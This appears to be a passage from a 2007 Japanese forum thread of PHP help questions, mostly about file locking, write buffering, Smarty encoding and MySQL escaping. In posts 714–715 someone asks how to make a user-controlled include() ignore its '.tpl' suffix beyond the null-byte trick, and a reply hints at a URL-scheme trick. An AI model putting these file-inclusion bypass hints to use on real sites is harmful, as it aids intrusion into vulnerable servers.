けど設定ファイルは相対パスで指定しといて、相対関係は固定したほうがいいと思うよ
ほんで conf.php 内にパス用の定数をあれこれつくる

714 :nobodyさん:2007/10/31(水) 15:38:57 ID:KNyfjI5Y
include($_GET['file'] . '.tpl');

この状況で、NULLバイト後ろにくっつける以外に'.tpl'を無視できる方法ってないかな?'

715 :nobodyさん:2007/10/31(水) 15:46:40 ID:???
スキームつけてクエリ化する、とか。

716 :nobodyさん:2007/10/31(水) 16:07:24 ID:KNyfjI5Y
>>715
どういうこと?

717 :nobodyさん:2007/10/31(水) 16:12:58 ID:???
>>698
週払いでもいいんです。雇ってください〜

718 :nobodyさん:2007/10/31(水) 16:20:10 ID:???
>>717
スキルは?

719 :nobodyさん:2007/10/31(水) 16:32:47 ID:???
>>714
ハッキングでもするのか

720 :nobodyさん:2007/10/31(水) 16:43:09 ID:???
php5.3か6ためしてる方ってもういる?

721 :nobodyさん:2007/10/31(水) 16:49:17 ID:???
>>717
月払いのところにいかない理由がわからん
すぐやめたいから?

722 :nobodyさん:2007/10/31(水) 18:03:18 ID:???
>>687>>707
質問の日本語の意味が分からないんだけど、
> $lastupdateで取得したそれぞれの更新日と$xxx_dateを比較して最新のものを返す
ってのは
「$xxx_dateより新しい$lastupdateを全部返す」
のか
「$lastupdateの中で1番新しいものを返す」
のか
「$lastupdateの中で1番新しいものが$xxx_dateよりも新しかったら返す」
のか、
どれが正解?

723 :nobodyさん:2007/10/31(水) 18:26:51 ID:/4czZymM
ログのとり方について質問です。

アクセス集中しそうなアンケートで、csvを追記したいのですが

lockファイルのロック→書き込み対象のロック→解除→解除

のよくある二段構えでは不十分でしょうか?
実際一回だけ消えた事はありしまた…

SQLなど使わずに、よい保存法はありますか?

724 :nobodyさん:2007/10/31(水) 18:37:04 ID:???
すみません。Smarty初心者なんですが、PHPファイルは本に書いてある通り
EUC-JPで保存しました。HTMLファイルはShift_JISで保存しました。

そうしたら、アクセスしたら文字化けしたので、HTMLファイルもEUC-JP
にしたら治ったんですが、やはりHTMLファイルもEUC-JPでなければならない
ということですか?PHPのinternalencodingはEUC-JPとしています。

教えてください。

725 :nobodyさん:2007/10/31(水) 18:38:57 ID:???
>>723
なんでSQLとかいうかDBにしないのか謎

726 :nobodyさん:2007/10/31(水) 18:44:05 ID:???
>>724
yse
日本語で文字コードの混在は化ける


727 :nobodyさん:2007/10/31(水) 18:49:43 ID:???
>>723
そんなOSは投げ捨てろ

728 :687:2007/10/31(水) 18:58:22 ID:F/XuAcDL
>>708 >>710 >>722 レスありがとうございます。
$xxx_date = getlastmod();です。
>>688で取得した各ファイルの内もっとも更新時間の早いファイルの更新時間と
$xxx_date とを比較したいのです。

729 :nobodyさん:2007/10/31(水) 19:06:55 ID:???
rNote(0.9.7.5)というBlogツールを使用しているのですが
近頃コメントスパムが増えてきたので、KCAPTCHAによる認証を通そうと考えたのですが
PHPはまるでわからないのでお手上げ状態です。

entries/writeback.skin に
 <img src="PATH-TO-THIS-SCRIPT?<?php echo session_name()?>=<?php echo session_id()?>">
 <input type="text" name="keystring">
を追記し、CAPTCHA画像を呼び出すところまではできたのですが
肝心要の本体側(rnote.php)のどこに何を書き込めばよいのかがどうにもわかりません。

親切な方、お時間のある方、どうかお助けを……

rNote
ttp://rinn.e-site.jp/rnote/
KCAPTCHA
ttp://freshmeat.net/projects/kcaptcha/

730 :nobodyさん:2007/10/31(水) 19:22:01 ID:???
>>718
作ったもの(ソースとかドキュメント)提示してもらった方が早くね


731 :nobodyさん:2007/10/31(水) 19:22:16 ID:???
>>687
getlastmodとfilemtimeは両方とも
UNIXタイムスタンプなので
そのまま比較すればいいよ

foreach($dirurl as $key =>$value){
    $dirurl = $value;

    $dir = @opendir($dirurl);

    $lastFileMtime = 0;
    while($file = readdir($dir)) {

        if (is_file($file) == false){
            continue;
        }
        $pdata = explode("." , $dirurl.$file);

        if  ($lastFileMtime < filemtime("../".$pdata[2].".php")) {
            $lastFileMtime = filemtime("../".$pdata[2].".php");
        }
    }
    closedir($dir);
}

$xxx_date = getlastmod();
if ($xxx_date < $lastFileMtime) {
    echo 'なんたらかんたら';
}


732 :nobodyさん:2007/10/31(水) 19:33:40 ID:5PiA8qbK
>>725
やっぱりSQL使わないと駄目ですかねぇ
なるべくhtmlとlogファイルだけで手狭にしたいんですが

733 :nobodyさん:2007/10/31(水) 19:40:36 ID:???
まともにロックできないんだからDB使えよ

734 :687:2007/10/31(水) 19:44:14 ID:F/XuAcDL
>>731
早速ありがとうございます。
これから仕事なので帰宅したらやってみます。

こういうのがぱっと書けるように早くなりたい(;´д⊂)
何度も書き込み失礼しました。

735 :nobodyさん:2007/10/31(水) 19:44:15 ID:???
まあロジックが駄目で壊れるならともかく「消える」だしなあ
負荷テストしたって再現困難だろうな

736 :nobodyさん:2007/10/31(水) 20:01:54 ID:???
>>732
もし"DBMSの管理めんどくせ"で避けてるんならSQLite2使ってみたら?標準装備だし
SQLを解釈するISAMって感覚で、素のファイルを扱うより楽だと思うけどね

737 :nobodyさん:2007/10/31(水) 20:22:24 ID:???
Sqliteは書き込み重いからむかんだろ

738 :724:2007/10/31(水) 20:45:34 ID:YAd2ItnR
遅くなりましたが、>>726さんどうもありがとうございました。助かりました。

739 :nobodyさん:2007/10/31(水) 20:49:27 ID:???
> Sqliteは書き込み重いからむかんだろ

えー。それはうそだろーw
ちょっとぐらい調べてからいえよw

740 :nobodyさん:2007/10/31(水) 21:08:23 ID:5PiA8qbK
>>736
とにもかくにも事故らないためにDBは必要ということですね。
ところで、よくある別にlockファイル用意して二重でロックする場合
どんなときにログが落ちちゃうんでしょう?追記モードにて

741 :nobodyさん:2007/10/31(水) 21:20:29 ID:???
>>739
>>737じゃないけど、ちょっと興味もって使ってみてあまりの速さに驚嘆した。
すげーなこれw

742 :nobodyさん:2007/10/31(水) 21:21:31 ID:???
>>740
デッドロックで検索

743 :nobodyさん:2007/10/31(水) 21:22:28 ID:???
追記でまっさらに消えるってのはあまりないね
ハンドルとってからデッドロックのままプロセスアウトとか?

744 :nobodyさん:2007/10/31(水) 21:28:21 ID:CWnmoTEL
スレ立てお願いします。
スレタイ
【Shift】日産の劣化コピー車【copy】

本文
まずはご覧ください。

にっさんwしましまw
http://itpro.nikkeibp.co.jp/article/NEWS/20071030/285812/
http://itpro.nikkeibp.co.jp/article/NEWS/20071030/285812/?SS=imgview&FD=-654674548&ST=ittrend

パクり元Paul Smith(マルチカラーストライプ)
http://www.paulsmith.co.jp/personal/personal_projects_mini.php

こんなあからさまな劣化コピー商品を買う人はいるんでしょうか・・・・・。
中国や韓国で20万ぐらいなら売れるかも知れませんが(以下略
それにしても日本のメーカーがこんなパクり商品を販売するとは情けない。
もっと自社のオリジナリティを出してもらいたい。
日産もルノーの子会社なら、おフランスのデザイナーでも呼べよ。
もう日産とか名乗るな。日本の企業と思われたくない。
10年経てばパクってもバレないとでも思ったんだろうか・・・・・そういう問題じゃないんだけどなぁw
しかも、ポールスミスは数年前に自分の(真っ白な)iMacをマルチカラーストライプでペイントしていたしな。

もうね、どこからどう見てもパクり。

                           国 の 恥 だ 。

745 :nobodyさん:2007/10/31(水) 21:35:17 ID:???
鯖がflockサポートしてるならそれが一番確実だよ
ファイルロックに十分とか不十分みたいな程度問題はない

746 :nobodyさん:2007/10/31(水) 21:51:18 ID:???
IO途中で落ちるってことは普通のコーディングしてればまずないと思うがなあ。
まあそういう場合でもエラー直前までのデータが保持できるDBのほうが信頼性がある。

ただ別にDB鯖用意しないと負荷対策にはならないからね。
処理自体は遅くなるんだから。

747 :nobodyさん:2007/10/31(水) 21:57:10 ID:yARVDfIT
Smartyを使うと

Warning: Smarty::include(compile/%%75^75A^75A37DFB%%aa.txt.php) [function.Smarty-include]: failed to open stream: No such file or directory in /home1/httpd/viprog/public_html/Smarty/libs/Smarty.class.php on line 1258

というふうに、コンパイルしたスクリプト名が文字化けしてしまいます。
初めてSmartyを使ったのですが、これはデフォなのですか?

748 :nobodyさん:2007/10/31(水) 21:58:03 ID:???
DBってロック失敗することないの?

749 :nobodyさん:2007/10/31(水) 22:00:41 ID:???
>>747
どこも文字化けしていないようだ

750 :nobodyさん:2007/10/31(水) 22:01:53 ID:yARVDfIT
>>749
デフォルトのようですね、
ですが、includeできません。
URL直打ちしてみても見ることができません(400Error

751 :nobodyさん:2007/10/31(水) 22:05:50 ID:???
>>747>>750
情報少な杉

752 :nobodyさん:2007/10/31(水) 22:10:22 ID:???
>>750
なんで400なんか?
まあディレクトリ構成とパスの設定を見直してみたら、としか
あとSmartyはドキュメントルート外に出したほうがいいよ、念のため

753 :nobodyさん:2007/10/31(水) 22:12:17 ID:???
相対パスで指定されてインクルードエラー出てるのに
URL直打ちとか意味分からんことありませんか

754 :nobodyさん:2007/10/31(水) 22:26:47 ID:5PiA8qbK
たとえばこんな感じなのですが
こないだログが0kbになってて真っ青に・・・
//ロック開始
$lockfilename = dirname(__FILE__).'/lock';
$lockfp = fopen($lockfilename,'w');
flock($lockfp, LOCK_EX);
//更新
$fp = fopen( $pass,$m);
stream_set_write_buffer($fp, 0);
flock($fp, LOCK_EX);
rewind($fp);
fwrite($fp,$value);
flock($fp, LOCK_UN);
fclose($fp);
//ロック解除
flock($lockfp, LOCK_UN);
fclose($lockfp);

755 :nobodyさん:2007/10/31(水) 22:29:02 ID:???
>>748
心配なら例外処理かけばOK

756 :nobodyさん:2007/10/31(水) 22:31:28 ID:???
>>754
上三行しかみてないけど、いきなりwで開いてるじゃん
これロックの意味ないよ

757 :nobodyさん:2007/10/31(水) 22:35:28 ID:???
真っ白になったのはrewind()のせいか
なんか追記にしては妙なコードだ

758 :nobodyさん:2007/10/31(水) 23:21:37 ID:???
正規表現についてです。

/^ab[cd]\d{1,2}$/
という正規表現があります。

これを
最初がabcの場合は後に続く数字が1文字、
最初がabdの場合は後に続く数字が2文字
とマッチの条件を変更したいのですが、これは表現を分けるしかないでしょうか?
綺麗に記述出来ればいいのですが、当方では限界でした。

もし方法があるのであれば教えていただきたいです。

759 :nobodyさん:2007/10/31(水) 23:26:12 ID:???
>>758
^ab(c\d{1}|d\d{2})$

こんな感じ?
多分もっとスマートな方法あるかもしれんが
詳しくは正規表現スレへ・・

760 :nobodyさん:2007/10/31(水) 23:49:37 ID:???
ファイルのアップロード機能をつけたいのですが、
他からアップロードしたファイルを見られたくありません。
アップロード中のときにどこかからデータを見られたりするのでしょうか?
暗号化してアップロードとか無理ですよね

761 :nobodyさん:2007/10/31(水) 23:50:22 ID:???
ついに、
このスレを見ている人はこんなスレも見ています。が、
全部俺がカキコしたスレになった件について

762 :nobodyさん:2007/10/31(水) 23:51:53 ID:???
>>754
世の中意味の無いことしてる奴がいるな〜と思っていたらここにもいたか
それ、どこぞのサイトの丸写しか?

763 :nobodyさん:2007/11/01(木) 00:08:10 ID:???
>>760
アップロード中の暗号化というかそういうのは
HTTPSでやればいい
アップロードしたファイルを他から見られたく無いってのは
アップロードした時に保存するディレクトリの権限をいじくっておけばいい

>>761
それって専ブラが多いってだけじゃ


764 :nobodyさん:2007/11/01(木) 00:58:56 ID:???
>>754
php ファイル ロック
でぐぐる

765 :nobodyさん:2007/11/01(木) 01:36:54 ID:nYx+6pbP
数字を2桁に整形したい場合は、皆さんはどんな風にやってますか?
1→01
日付とか時間とかですね。

ところで、日付(具体的には誕生日)を扱うときに、
UNIXタイムを使うと、1970年以前が扱えませんよね?
何かコツはありますか?単純に文字列として保存ですかね?

766 :nobodyさん:2007/11/01(木) 01:38:42 ID:???
STRPAD

767 :nobodyさん:2007/11/01(木) 01:46:08 ID:???
sprintf

768 :nobodyさん:2007/11/01(木) 02:05:18 ID:???
yyyy-mm-dd hh:ii:ss
こんな感じで保存してる



769 :nobodyさん:2007/11/01(木) 02:51:53 ID:???
>>754
fclose前のUNLOCKは特別な理由がない限り推奨されない。
そんなことしなくてもfcloseすれば勝手にUNLOCKされる。
fclose前にUNLOCKしたら出力がまだフラッシュされてない場合があるので
その状態で他のプロセスにオープンされると中身を消失する。

770 :nobodyさん:2007/11/01(木) 02:55:47 ID:???
マニュアルにはそう書いてあるけど、実際そんなOSあるの?

771 :nobodyさん:2007/11/01(木) 02:58:20 ID:???
OS関係あるか?
fwrite〜fclose間でデータをメモリキャッシュしてるのはPHP側なんだから
OSの挙動は全然関係ないぞ。

772 :nobodyさん:2007/11/01(木) 03:01:05 ID:???
fwriteでブロック -> unlockなんだからPHPのキャッシュじゃなくて
OS側でフラッシュを保証するかどうかじゃないの

773 :nobodyさん:2007/11/01(木) 03:14:51 ID:???
配列処理には、ずっとforを使用してきたんですが、
連想配列ならforeach、
通常の配列でも$iとか作成しなくてよくて良さげなのですが、
通常の配列もforeach使う人多いもんでしょうか?

774 :nobodyさん:2007/11/01(木) 03:18:30 ID:???
>>773
10回処理するとか
回数が決まってる場合はfor使う
それ以外の場合はforeach使ってる

775 :nobodyさん:2007/11/01(木) 03:24:53 ID:???
>>772
OS側の書き込みフラッシュ→UNLOCKは
fcloseでの自動UNLOCK時でしか保障しとらん

776 :nobodyさん:2007/11/01(木) 03:30:05 ID:???
>>773
PHPで「通常の配列」と「連想配列」をどこで分けてるのか知りたいw

777 :nobodyさん:2007/11/01(木) 03:31:18 ID:???
>>775
そうなの?
システムコールしてんのに終わってない処理が戻ってくるって問題じゃね?

778 :nobodyさん:2007/11/01(木) 03:34:54 ID:???
>>771
>>775

どっちなんだよw

779 :nobodyさん:2007/11/01(木) 03:36:43 ID:???
>>777
fwrite()の時点ではデータのサイズにもよりけりだが、まだデータはPHPが確保してる
メモリキャッシュ上にある可能性が高く、その時点ではOSに対して書き込みの
システムコールは発生していない。
その状態でUNLOCKのシステムコールを発行したとこでフラッシュされるわけないじゃん。
UNLOCKする前に明示的にfflush()を実行するかfclose()するかしないと
OSも渡されてないデータなんてフラッシュのしようがない。

この辺りはC言語でもストリーム入出力を使ってる限りは同じ挙動になる。
フラッシュをOSの挙動準拠にしたいならもっと低レベルな命令使わんといかんが
あいにくPHPにはそんな命令は用意されていない。

780 :nobodyさん:2007/11/01(木) 03:38:54 ID:???
>>779
システムコールしてないのにfwrite()に処理が返るわけ無いじゃん

781 :nobodyさん:2007/11/01(木) 03:39:40 ID:???
>>778
だからfclose(=PHPで出力をフラッシュ)して以降のUNLOCKなら
OSが書き込みを保障できるが、その前の段階でUNLOCKされたら
それはアプリケーション側がフラッシュをしない限りOSの知ったこっちゃないんだよ。
なので、fclose前のUNLOCKでの挙動はあくまでPHPの裁量であってOSは関係ない。

782 :nobodyさん:2007/11/01(木) 03:41:48 ID:???
>>780
fwrite()はその場では必ずしもファイル書き込みのシステムコールなんて発行しないぞ。
内部キャッシュに出力→キャッシュが一杯になったらシステムコール発行、という仕様。
内部キャッシュに余裕があるうちはfflush()かfclose()を実行されるまで
システムコール発行を保留する。

783 :nobodyさん:2007/11/01(木) 03:43:27 ID:???
書き込みはスケジュールされてるけど、そのタイミングはOSの裁量ってことでしょ常識的に
こんなとこで割り込み入るのかね。まあシステムによっちゃ入るんだろうけど

784 :nobodyさん:2007/11/01(木) 03:47:27 ID:???
>>783
違うだろ。そういう問題ならUNLOCKした時点で必ず書き込みが行われないといけない。

そうでなく、C言語のストリームI/Oライブラリはパフォーマンス向上のため、
アプリケーション側にキャッシュとして書き込みバッファを持ってるんだよ。
fwrite実行の度に書き込みシステムコールを呼んでたら遅くてかなわん。
そのため、内部バッファのフラッシュ前のUNLOCKでのデータ消失はアプリ側の責任になる。

785 :nobodyさん:2007/11/01(木) 03:49:35 ID:???
>>782
なるほど。
ライトバッファ0なのにバッファされるの?

786 :nobodyさん:2007/11/01(木) 03:51:16 ID:???
ソースをちゃんと読んでないってオチじゃね?
最近の回答者にやけに多いが。

787 :nobodyさん:2007/11/01(木) 03:54:03 ID:???
bufferに書き込んだ段階でfwrite()にtrue返るのか
こりゃ新境地だな

788 :nobodyさん:2007/11/01(木) 03:56:46 ID:???
>>785
PHPのバッファとはまた別物なんじゃないか?

789 :nobodyさん:2007/11/01(木) 03:59:32 ID:???
UNLOCKは不必要な関数でOK?

790 :nobodyさん:2007/11/01(木) 04:01:53 ID:LtkqkojU
mysql_real_escape_stringは、db接続後でないと、
dbの文字コードが取得できない=正常に動作しないですよね?
でもdbの文字コードは、コーディングの時点で分かってることなので、
dbから取得せずとも、
コードを明示してエスケープすればいいのではないかと思うのですが、
それってどうやればいいですか?
というか、具体的にこのエスケープってどういう処理してるんでしょうか?
文字コードによってエスケープ処理を変えなくてはいけないということ自体が
よく分からないんです

791 :nobodyさん:2007/11/01(木) 04:03:01 ID:???
>>789
そのようだ。開いたまんま開放したいときはfflushか

792 :790:2007/11/01(木) 04:10:59 ID:LtkqkojU
以下の文字について 先頭にバックスラッシュを付加します。 \x00, \n, \r, \, ', " そして \x1a
とmysql_real_escape_stringの説明にあります。
文字コードが何であれ、
これらの文字は結局のところエスケープしなくてはいけないのでは(?_?)
何故文字コードを知る必要があるのか・・・??

793 :nobodyさん:2007/11/01(木) 04:11:11 ID:???
結局stream_set_write_bufferの扱いはどうなるんだ?

794 :nobodyさん:2007/11/01(木) 04:11:42 ID:???
>>790
コーディング時点で分かってる文字コードとやらがMySQLのデフォルト設定になってるなら
mysql_escape_string()でその設定を使用できる。(ただしローカルMySQLのみ)
そうでなく接続後に文字コードを切り替えてたり、接続先がリモートのMySQLだったりすると
やっぱ接続後にmysql_real_escape_stringするしかないんじゃないかと思う。
ただしリモートの場合、接続後に切り替える文字コードをローカルのMySQLであらかじめ
デフォルト設定しとくことでmysql_escape_stringを狙った文字コードで動作させることができると思う。

文字コードでエスケープに違いが出るのはマルチバイト文字の中に「\」とかの
要エスケープな文字コードが含まれるかどうか。
これが含まれない文字コードであればそれほど問題にならない。

795 :nobodyさん:2007/11/01(木) 04:20:37 ID:???
>>793
バッファ0ならfwrite直後での出力の完了は保障される。
fflushするのと同じ効果。
だからこの場合は別にfclose前にロック解除しても問題はないはず。
どっちにしろ明示的にロック解除する必要が無いのは確かだけどな。

ところでこの質問って ttp://www.res-system.com/item/359 のコードだよな?

796 :nobodyさん:2007/11/01(木) 04:22:16 ID:???
>>788
むしろset_stream...はPHPのバッファを制御する関数じゃなくて、ライブリ側の
ストリームフラグをオフるためのものだろ

797 :nobodyさん:2007/11/01(木) 04:23:58 ID:???
>>795
そりゃ話がかみ合わないわけだわ

798 :nobodyさん:2007/11/01(木) 04:28:13 ID:???
>>796
結局単一プロセスからのアウトプットが保証されるだけで、書き込みタイミングは保証されてないじゃん

799 :nobodyさん:2007/11/01(木) 04:30:32 ID:???
>>789
floseも省けばかなり開放的な感じだな

800 :nobodyさん:2007/11/01(木) 04:35:26 ID:???
fflushとstream_set_write_buffer、
どっちでもいいって言われると迷っちゃうんだけど

801 :nobodyさん:2007/11/01(木) 04:39:59 ID:???
fflushの方がいいんじゃない。処理は明示しないとキモイ。

802 :nobodyさん:2007/11/01(木) 04:49:00 ID:???
>>786
エスパー力も考え物だ

803 :nobodyさん:2007/11/01(木) 04:51:42 ID:???
憶測で答えてる人多いね。なんでソース読まないんだろ。

804 :nobodyさん:2007/11/01(木) 04:52:01 ID:???
もっと面白い質問キボンヌ

805 :nobodyさん:2007/11/01(木) 05:53:36 ID:???
>>800
1ファイルの出力にfwriteを複数回呼ぶような場合はfflushの方がいいんじゃないかな…
最後にまとめて書き出した方が負荷低いだろ。
1回しかfwriteしないならどっちでもいいけど。

806 :nobodyさん:2007/11/01(木) 08:28:15 ID:nYx+6pbP
>>766-768
レスありがとうございます。やっぱりそれですよね。

807 :754:2007/11/01(木) 09:30:12 ID:kJjMi5v7
おはようございます。
モードがwの時の貼り付けてしまいました…

書き込み部分はモードと書き込み先を指定する
ユーザー関数にして使いまわしていました。

ttp://www.res-system.com/item/359

前に中身が消えてしまったのは、そのまま追記ではなくて

配列で中身取得→指定の部分に挿入処理→wで開いて貼り付け保存

でした。これもなんで消えたんだろう…

808 :nobodyさん:2007/11/01(木) 09:33:56 ID:???
>>807
"w"で開いてから出力するまでの間にプログラムがアボンしたんじゃないの?
安全を期するならテンポラリファイルに出力してから最後にrenameの方が安全かと。

809 :nobodyさん:2007/11/01(木) 10:08:24 ID:6Qqtj9Qi
友人の紹介で、ある企業のショッピングカート機能が付いたサイトを
phpで構築することになりました。

phpである程度、一通りのものは出来るのですが、企業の、それも金が絡むやつは初めてです。
例えば、バグって金額の表示が違っているとかなるとトラブルになりそうなのですが、
それって、作った私の責任になるんですか???

お小遣い程度の金額で頼まれているのに、もし金額が一桁違って莫大な損害を
私に請求されたら元もこうもないので、どうしような悩みます。
こういうのって、プロの方はどういう風にしているんでしょうか?
教えて下さい。お願いします。

810 :nobodyさん:2007/11/01(木) 10:16:10 ID:???
お前・・相手は商売に使うんだぞ。ちゃんと金取ってちゃんとした物作れよ・・。

811 :nobodyさん:2007/11/01(木) 10:17:08 ID:???
>>809
すべては契約しだい
そんなことをここで聞くような経験値ならはっきりいってやめとけ

812 :nobodyさん:2007/11/01(木) 10:18:44 ID:???
俺だったらお断りしてしまうな

813 :nobodyさん:2007/11/01(木) 10:26:42 ID:6Qqtj9Qi
>>810-812
アドバイスありがとうございます。

今、バイトでプログラマーの手伝いをやっているのですが、
できれば今回のを制作実績にしてバイトじゃなくて派遣とかでやりたいと思います。

今回のサイトは、自分のスキルでいうと1ヶ月半位で出来る程度のもので、
お小遣いとっても、30万円近くもらえるので、できればやりたいです。

例えば、一切責任は取りません見たいな事を契約しておけばいいということでしょうか???
これで、50万とか100万とか請求されたら払えないです・・・

814 :nobodyさん:2007/11/01(木) 10:35:05 ID:???
>>813
そういうのは顧客と話し合って決めるんだよ
ただ金を取っているのに
「一切責任は取りません」なんて無責任なことを言うのなら
契約したくないだろうけど

815 :nobodyさん:2007/11/01(木) 10:37:13 ID:???
>>813
規模による
大体検証が1〜2ヶ月 保障を1年くらい
それ以降の保守については再度相談が普通かな?

どうしても請求されるのが怖いなら君がさらに外注にだせばいい

816 :812:2007/11/01(木) 10:37:15 ID:???
>>813
>例えば、一切責任は取りません見たいな事を契約しておけばいいということでしょうか???

そんな一方的な契約結んでもらえるかしらー

つーか知り合い伝いの仕事は受けない方が良いと思うぞ〜
無責任契約でもまずったら最悪友達なくすぞ〜

817 :nobodyさん:2007/11/01(木) 10:42:36 ID:6Qqtj9Qi
>>814>>816
確かに、無責任ですよね。すみません。
自分では払えないお金になると不安なので、
ついつい無責任なことを言ってしまいました。

>>815
>大体検証が1〜2ヶ月 保障を1年くらい
ありがとうございます!。すごく参考になります。
その人に説明するときに、これが相場ですって言えますね。
で、その保障の1年間に何か発生したときに、こっちが払わなければいけない期間ですけど、
30万円の規模のサイトなら、いくらくらいが相場でしょうか?

818 :nobodyさん:2007/11/01(木) 10:43:27 ID:6Qqtj9Qi
すみません、間違いました。

×で、その保障の1年間に何か発生したときに、こっちが払わなければいけない期間ですけど、
○で、その保障の1年間に何か発生したときに、こっちが払わなければいけない金額ですけど、

819 :nobodyさん:2007/11/01(木) 10:46:23 ID:???
保障つーか
保守が1年ぐらいでねーの?

まぁ俺なら表示周りは自サイトでやって
金とか商品周りは外部のショッピングサイト使うけど


820 :nobodyさん:2007/11/01(木) 11:00:40 ID:???
>>817
> 30万円の規模のサイトなら、いくらくらいが相場でしょうか?
これはピントが外れているように思うけどな。

損害賠償という話になるとまず損失を金額換算して幾らって試算から始まるから
相手方次第かね

821 :nobodyさん:2007/11/01(木) 11:05:42 ID:???
あんま関係ないけどジェイコム株誤発注事件では
損害金400億超をほとんど丸々東証に要求してたな

あれはワロタ

822 :nobodyさん:2007/11/01(木) 11:14:53 ID:???
法人の場合、"社会的信用の失墜"とか名目つけてきそう

それよりもその友達の企業内での立場が危うくならないか?
「なんで、あんな奴連れてきたんだ!」とか言われてさ

823 :nobodyさん:2007/11/01(木) 11:22:11 ID:6Qqtj9Qi
>>820
詳しい仕組みの説明までして頂いてどうも有難うございます。
それは、つまり損害が発生するまで金額が決まらず、
いくら請求するかも相手次第ということでしょうか。
それって、かなりプログラマーにとってはものスゴイプレッシャーですよね。
いくら位までなら、OKみたいな話ならいいんですけど。
自動車保険とかのように保障金額が決まっているとか。

>>821
私がふとお金の話で思い出したのは、昔どこかのメーカー(DELL?)が、
担当者の金額入力ミスで、それを知ったvipperが大量注文して、
メーカーが結局めちゃめちゃ激安金額でパソコンを販売したという話でした。

それは担当者の責任ですけど、もしそれが自分の計算処理のプログラムミス
だったと想像したら、ぞっとします。

824 :nobodyさん:2007/11/01(木) 12:01:43 ID:???
人間はミスをするという前提に立てない、
経営者が多いんだよな。

重要な金額入力する前に人を二人以上配置して、
「金額よーし」「金額よーし」「ぽちっ」とやろうとか考えもしない。

825 :nobodyさん:2007/11/01(木) 12:18:07 ID:???
商売話はSOHOスレでききゃいいのに

826 :nobodyさん:2007/11/01(木) 12:29:09 ID:???
>>824
むしろそれは運営サイドの問題でプログラムには
なんら関係ない、そんなところまで面倒は見る必要はないと
釣られてやるよ

827 :nobodyさん:2007/11/01(木) 12:52:36 ID:kJjMi5v7
>>808
テンポラリ了解です。

そして新たに詰まったのが
エクセルはUTF-8が開けないんですね…

皆さんは(有)や 旧字などが必要なcsvはどういう処理をなされていますか?
最終的にはSJISのcsvしかダメですよね…

828 :nobodyさん:2007/11/01(木) 14:30:15 ID:WVV5m+Xj
質問させて下さい

BBSなどに投稿した時の文字判定で日本語以外からの文字は受け付けない設定には
どのように書けばいいでしょうか?


829 :nobodyさん:2007/11/01(木) 14:43:20 ID:???
>>828
質問が丸投げだからヒントだけね。
といってもほぼ答えだけど。

スパム対策だろうけどASCIIのみをはじけばいいよ。
正規表現で判定するといい。
ASCIIの範囲は\x00-\x7f

830 :nobodyさん:2007/11/01(木) 14:44:24 ID:WVV5m+Xj
>>828
有難うございます!
さっそく組み込んでみます!

831 :nobodyさん:2007/11/01(木) 15:14:17 ID:???
('A`)

832 :nobodyさん:2007/11/01(木) 16:25:32 ID:???
('A`)

833 :nobodyさん:2007/11/01(木) 18:30:13 ID:1mW3wcqf
い ろ は
のようにタブで区切られた文字列を配列に格納するにはどうすればいいのでしょうか?

↓じゃ無理なようで・・・
print_r (array("'".mb_ereg_replace(' ',"', '",'い ろ は')."'"));

834 :nobodyさん:2007/11/01(木) 18:43:26 ID:???
>>833
\tがタブ

835 :nobodyさん:2007/11/01(木) 18:47:26 ID:???
explodeやpreg_splitを知らんということはあるまいな?

836 :nobodyさん:2007/11/01(木) 18:57:12 ID:???
むりくりやるなら
eval('print_r (array("\'".mb_ereg_replace(\' \',"\', \'",\'い ろ は\')."\'"));');

837 :nobodyさん:2007/11/01(木) 19:11:06 ID:???
>>833

$hensu = explode("\t", $str);

838 :833:2007/11/01(木) 19:27:06 ID:1mW3wcqf
みんなトンクス。
とりあえず>>837さんのやり方でやります。

839 :nobodyさん:2007/11/01(木) 19:31:11 ID:???
>>836
無茶すんな

840 :nobodyさん:2007/11/01(木) 21:02:26 ID:MsBqEUd7
ユーザーが1〜5個のタグを入力して
人気のタグをランキングにしたいのですが

DBに登録するときユーザーがいくつタグを入力するかが
確定されていないので、どうしてもうまくかけません。

ずばっときれいにかける方法ってありますか?
アイデアお願いします。




841 :nobodyさん:2007/11/01(木) 21:06:17 ID:???
まさかタグの数だけカラムを作ってるんじゃないだろうな

842 :nobodyさん:2007/11/01(木) 21:09:14 ID:MsBqEUd7
え、5個だから

843 :nobodyさん:2007/11/01(木) 21:14:31 ID:???
>>840
つforeach
どの段階で何がどうで困っているのか全然伝わらん。だって書いてねぇし。
質問としては15点。

844 :nobodyさん:2007/11/01(木) 21:16:50 ID:???
テーブル設計と、関連のリレーションを明示しないと答えようがない
集計しやすいよう再設計するなり、SQLこねくり回してなんとかなるならDB板で聞けばいい
PHPとはあんま関係なさそうだが

845 :nobodyさん:2007/11/01(木) 21:43:54 ID:MsBqEUd7
複数のカラムにタグを入れると
やはり集計作業時に言われた通りSQLが複雑そうなので
DB板でききます。

ありがとうございます。



846 :nobodyさん:2007/11/01(木) 21:45:30 ID:???
>>845
あそこはドラゴンボールに例えて質問するのが通例だからな
がんばれよ

847 :nobodyさん:2007/11/01(木) 22:09:55 ID:???
セルはそのままセルでいいのか?

848 :nobodyさん:2007/11/01(木) 22:17:42 ID:???
おっさん自重

849 :nobodyさん:2007/11/02(金) 00:24:56 ID:???
PHPがWindowsアプリ開発に適した言語になる日はくるのであろうか・・・。
PHP触ったあとにC++とかJavaとかやってられねー

850 :nobodyさん:2007/11/02(金) 00:29:11 ID:???
>>849
http://phpspot.org/blog/archives/2007/10/phpwapache.html

851 :nobodyさん:2007/11/02(金) 00:40:20 ID:???
>>850
ちょっと感動した
今後に期待汁

852 :nobodyさん:2007/11/02(金) 00:41:19 ID:fEbvkhE+
apacheにphpのエラーが記録されているんですけど、日時が出力されていないんです。
php.iniの設定とかで表示できたりしますか?


853 :nobodyさん:2007/11/02(金) 00:42:15 ID:???
>>850
Bamcompileのがアプリっぽくない?

854 :nobodyさん:2007/11/02(金) 00:43:20 ID:???
>>850
>タスクトレイに入れると復帰できなかったり

いやあぁぁぁぁぁぁぁ

855 :nobodyさん:2007/11/02(金) 00:44:14 ID:???
>PHPがWindowsアプリ開発に適した言語になる日はくるのであろうか・・・。
Web特化というコンセプトで作ってるんだから一生そんな日はこない。
というかそんな機能いらないし、もしWindowsアプリを開発できるようになっても、
>PHP触ったあとにC++とかJavaとかやってられねー
こんなこといってるようじゃ無理。

PHPが簡単なのはWeb特化だからであって、PHPでGUIアプリ作るとなると、
別の使い方も覚えないといけなくなる。(ウインドウの作成や配置など)

JavaだってWeb用途に限るなら簡単。

856 :nobodyさん:2007/11/02(金) 00:50:10 ID:???
PHPの型宣言しなくていいのとか
クラスの組みやすさとか、そういうのがいいのよ
